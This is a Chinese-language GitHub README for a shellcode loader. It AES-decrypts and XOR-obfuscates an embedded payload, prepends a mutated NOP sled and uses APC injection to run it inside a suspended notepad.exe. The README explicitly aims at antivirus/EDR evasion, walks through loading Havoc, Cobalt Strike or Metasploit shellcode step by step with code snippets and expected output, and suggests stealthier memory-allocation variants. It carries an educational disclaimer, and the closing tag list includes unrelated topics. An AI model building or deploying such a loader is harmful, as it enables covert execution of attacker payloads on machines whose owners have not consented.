khalid609/ShellcodeMutator-APCInjection
GitHub: khalid609/ShellcodeMutator-APCInjection
这是一个用于研究shellcode注入与规避技术的教育工具。
Stars: 3 | Forks: 0
# 🕵️ Shellcode变异器与APC注入 — 研究工具
## 📌 概述
本项目实现了一个**Shellcode传递管道**,结合了多种规避技术,用于研究现代恶意软件加载器的工作机制。它面向学习进程注入、Shellcode混淆以及杀毒软件/终端检测与响应规避概念的网络安全学生和研究人员。
管道运行流程如下:
```
AES-encrypted shellcode (demon.x64.h)
│
▼
AES-ECB Decrypt (Decrypt.h / BCrypt API)
│
▼
NOP Sled Prepend (ShellcodeMutator.h)
│
▼
XOR Encode (Decoder.h)
│
▼
APC Injection → notepad.exe (main.cpp / WinAPI)
│
▼
Shellcode Execution
```
## 🏗️ 架构
```
┌──────────────────────────────────────────────────────────┐
│ main.cpp │
│ │
│ 1. mutate() ──→ Decrypt + prepend NOP sled │
│ 2. XOR() ──→ Encode entire buffer │
│ 3. CreateProcess (notepad.exe, SUSPENDED) │
│ 4. VirtualAllocEx → WriteProcessMemory │
│ 5. VirtualProtectEx (PAGE_EXECUTE_READWRITE) │
│ 6. QueueUserAPC → ResumeThread │
└──────────────────────────────────────────────────────────┘
▲ ▲
│ │
┌────────┴──────┐ ┌────────┴──────────┐
│ Mutate.h │ │ Decoder.h │
│ ───────── │ │ ───────── │
│ AESDecrypt() │ │ XOR() │
│ add_nops() │ │ NOP-aware │
└───────────────┘ └───────────────────┘
▲
│
┌────────┴──────────────────┐
│ Decrypt.h │
│ ───────── │
│ BCrypt AES-ECB │
│ 128 / 192 / 256-bit key │
└───────────────────────────┘
▲
│
┌────────┴──────────────────┐
│ demon.x64.h │
│ ───────── │
│ shellcode[] (encrypted) │
│ aesKey[] │
└───────────────────────────┘
```
## 📁 文件参考
| 文件 | 作用 |
|---|---|
| `main.cpp` | 入口点 — 协调整个管道并执行APC注入 |
| `Decoder.h` | XOR编解码 — 感知NOP空操作填充,滚动密钥 |
| `Decrypt.h` | 通过Windows BCrypt API进行AES-ECB解密 |
| `Mutate.h` | 调用 `AESDecrypt`,然后通过 `ShellcodeMutator` 在前部添加XOR编码的NOP空操作填充 |
| `ShellcodeMutator.h` | 将NOP字节(使用 `key[0]` 进行XOR编码)添加到Shellcode前部的类 |
| `demon.x64.h` | Shellcode载荷容器 — **需要您自行填充** |
## 🔬 技术详解
### 1. AES-ECB解密
Shellcode在 `demon.x64.h` 中以**预先加密**的形式存储。运行时使用Windows **BCrypt API** 在**ECB模式**(无IV,块对齐)下进行解密。
```
// Decrypt.h — BCrypt AES-ECB
BCryptOpenAlgorithmProvider(&hAlg, BCRYPT_AES_ALGORITHM, NULL, 0);
BCryptSetProperty(hAlg, BCRYPT_CHAINING_MODE, BCRYPT_CHAIN_MODE_ECB, ...);
BCryptGenerateSymmetricKey(hAlg, &hKey, NULL, 0, key.data(), key.size(), 0);
BCryptDecrypt(hKey, ciphertext, ..., plaintext, ..., &resultSize, 0);
```
支持的密钥大小:**128位(16字节)**、**192位(24字节)**、**256位(32字节)**。
### 2. Shellcode变异 — NOP空操作填充前置
`ShellcodeMutator` 在Shellcode前部添加可配置数量的**XOR混淆后的NOP字节**(`0x90`)。这改变了字节签名,但不会改变执行行为(NOP在XOR处理中被解码)。
```
// ShellcodeMutator.h
uint8_t nops = 0x90 ^ key[0]; // NOP byte is obfuscated
shellcode.insert(shellcode.begin(), nops); // prepended N times
```
此技术使静态签名匹配变得更加困难 — Shellcode的开头字节与任何已知模式都不同。
### 3. XOR编码
变异后,**整个缓冲区**进行XOR编码。编码器感知NOP空操作填充 — 前 `nopCount` 个字节仅使用 `key[0]` 编码,其余部分使用从完整密钥字符串派生的**滚动密钥**。
```
// Decoder.h — XOR with NOP-sled awareness
for (size_t i = 0; i < size; ++i) {
if (i < nops)
buffer[i] ^= key[0]; // NOP region: single-byte key
else
buffer[i] ^= key[(i - nops) % keylen]; // payload: rolling key
}
```
这种两区域编码确保了在执行时再次进行XOR时,NOP区域能正确解码回 `0x90`。
### 4. APC注入
APC(异步过程调用)注入用于在合法的Windows进程内执行Shellcode,而无需创建可见的远程线程。
```
CreateProcess(notepad.exe, CREATE_SUSPENDED)
↓
VirtualAllocEx → allocate RWX memory in target
↓
WriteProcessMemory → write shellcode bytes
↓
VirtualProtectEx → mark as PAGE_EXECUTE_READWRITE
↓
QueueUserAPC((PAPCFUNC)mem, thread, ...)
↓
ResumeThread → APC fires → shellcode executes
```
**为什么选择APC而非 `CreateRemoteThread`?**
| 技术 | 可见性 | 检测风险 |
|---|---|---|
| `CreateRemoteThread` | 高 | 常被EDR标记 |
| `QueueUserAPC` | 较低 | 监控较少,使用现有线程 |
## ⚙️ 环境设置
### 前置条件
- **操作系统:** Windows 10/11 x64
- **IDE:** Visual Studio 2022
- 工作负载:`使用C++的桌面开发`
- **SDK:** Windows SDK(随VS附带,`bcrypt.lib` 需要)
- **架构:** x64 — 注入器和Shellcode必须匹配
### 克隆
```
git clone https://github.com/khalid609/ShellcodeMutator-APCInjection.git
cd ShellcodeMutator-APCInjection
```
## 🚀 使用方法
在构建前按顺序执行以下步骤。
### 步骤一 — 生成您的Shellcode
使用C2框架(例如Havoc, Cobalt Strike, MSF)生成x64 Shellcode,然后**对其进行XOR编码**,并使用您选择的密钥(16、24或32字节)进行**AES-ECB加密**。
### 步骤二 — 填充 `demon.x64.h`
```
// demon.x64.h
std::vector shellcode = {
0xAB, 0xCD, ... // paste your AES-encrypted shellcode bytes here
};
std::vector aesKey = {
0x00, 0x01, ... // paste your AES key here (16 / 24 / 32 bytes)
};
```
### 步骤三 — 在 `main.cpp` 中设置XOR密钥
```
// main.cpp
const std::string key = "YourXORKeyHere"; // must not be empty
```
### 步骤四 — (可选)调整NOP空操作填充大小
```
// Mutate.h
mutation.add_nops(5, key); // change 5 to any count you want
```
```
// main.cpp
XOR(shellcode.data(), shellcode.size(), key, 5); // must match the count above
```
### 步骤五 — 配置目标进程
默认情况下,注入器目标是 `notepad.exe`。如需更改,请编辑 `main.cpp`:
```
BOOL cprocess = CreateProcessA(
"C:\\Windows\\System32\\notepad.exe", // ← change path here
...
);
```
### 步骤六 — 构建
```
Visual Studio → Build → Build Solution (Ctrl+Shift+B)
Platform Target: x64
```
验证 `bcrypt.lib` 是否已链接 — `Decrypt.h` 中的pragma会自动处理此操作:
```
#pragma comment(lib, "bcrypt.lib")
```
### 步骤七 — 运行
执行编译后的二进制文件。控制台输出将追踪每个步骤:
```
Success: Process created in suspended state.
Success: Memory allocated in remote process.
Success: Shellcode written to remote process memory.
Success: Memory protection changed to executable.
Success: APC queued for execution.
Success: Thread resumed. Shellcode should now execute.
```
## ⚠️ 已知局限
| 问题 | 详情 |
|---|---|
| AES-ECB模式 | ECB没有IV — 相同的明文块会产生相同的密文。为获得更强安全性,建议使用CBC或CTR模式。 |
| `PAGE_EXECUTE_READWRITE` | 一步分配RWX内存是常见的EDR启发式触发条件。两步分配(RW → RX)更隐蔽。 |
| 空XOR密钥 | 如果密钥为空,`XOR()` 和 `add_nops()` 都会提前返回 — 请务必设置非空密钥。 |
| NOP计数不匹配 | `add_nops(N)` 和 `XOR(..., N)` 必须使用相同的 `N` 值,否则NOP区域解码将不正确。 |
| 硬编码目标 | `notepad.exe` 路径是硬编码的 — 应使其可配置以用于更广泛的实验环境。 |
## 🛡️ 学习内容
| 主题 | 学习目标 |
|---|---|
| AES-ECB解密 | 使用BCrypt在运行时解密嵌入式载荷 |
| XOR混淆 | 滚动密钥XOR以及密钥长度的重要性 |
| NOP空操作填充变异 | 字节级别的签名规避原理 |
| APC注入 | 在合法进程内隐蔽执行代码 |
| WinAPI内存管理 | `VirtualAllocEx`, `WriteProcessMemory`, `VirtualProtectEx` |
| 进程创建 | 使用 `CREATE_SUSPENDED` 的 `CreateProcess` 和句柄管理 |
| BCrypt API | 不使用第三方库的Windows原生加密 |
| 句柄管理 | 在所有代码路径中正确清理进程/线程句柄 |
## 👤 作者
**Khalid** — 网络安全学生
GitHub: [@khalid609](https://github.com/khalid609)
## 📄 免责声明
本项目仅发布用于**教育目的**,并应在隔离的实验环境中使用。
作者对滥用行为不承担任何责任。请勿将其部署在您不拥有的系统上。
标签:AES解密, APC注入, AV/EDR逃避, BCrypt API, DNS 反向解析, NOP-sled, pdftotext, shellcode变异, shellcode注入, SSH蜜罐, Windows API, XOR混淆, 云资产清单, 恶意软件研究, 恶意载荷, 教育工具, 突变技术, 端点可见性, 网络安全, 进程注入, 逆向工程, 隐私保护